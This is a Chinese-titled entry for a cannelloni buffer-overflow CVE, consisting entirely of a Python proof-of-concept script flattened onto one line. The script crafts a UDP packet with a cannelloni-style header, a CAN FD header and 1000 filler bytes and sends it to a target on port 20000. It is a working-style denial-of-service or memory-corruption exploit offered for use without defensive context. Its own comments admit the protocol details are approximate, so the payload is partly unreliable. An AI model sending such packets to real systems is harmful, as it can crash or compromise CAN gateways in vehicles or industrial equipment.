CVE-2026-37539 cannelloni缓冲区溢出漏洞

import socket import struct # Target IP and Port (Default cannelloni port) TARGET_IP = "192.168.1.100" TARGET_PORT = 20000 def create_malicious_packet(): # Cannelloni protocol header simulation # This payload attempts to trigger the overflow in parseCANFrame/decodeFrame # by sending a CAN FD frame with a length exceeding the expected buffer. # CAN ID (Standard 11-bit) can_id = 0x123 # Malicious length field (e.g., claiming 64 bytes where buffer might be smaller) # Crafting a CAN FD frame header # Note: Actual protocol details may vary, this represents the concept of overflow payload = b"" # Initialize payload # Construct header (simplified for PoC concept) # cmd = 0x01 (DATA), flags, seq_no, count header = struct.pack("!BBHI", 0x01, 0x00, 0, 1) # CAN Frame Header (ID + Flags + DLC) # Setting FD flag and a large DLC can_header = struct.pack("!IB", can_id, 0x08 | 0x04) # 0x04 for FD flag, 0x08 length # Buffer overflow trigger: data larger than allocated size overflow_data = b"A" * 1000 # Sending 1000 bytes to trigger overflow return header + can_header + overflow_data try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = create_malicious_packet() sock.sendto(payload, (TARGET_IP, TARGET_PORT)) print(f"[+] Malicious packet sent to {TARGET_IP}:{TARGET_PORT}") sock.close() except Exception as e: print(f"[-] Error: {e}")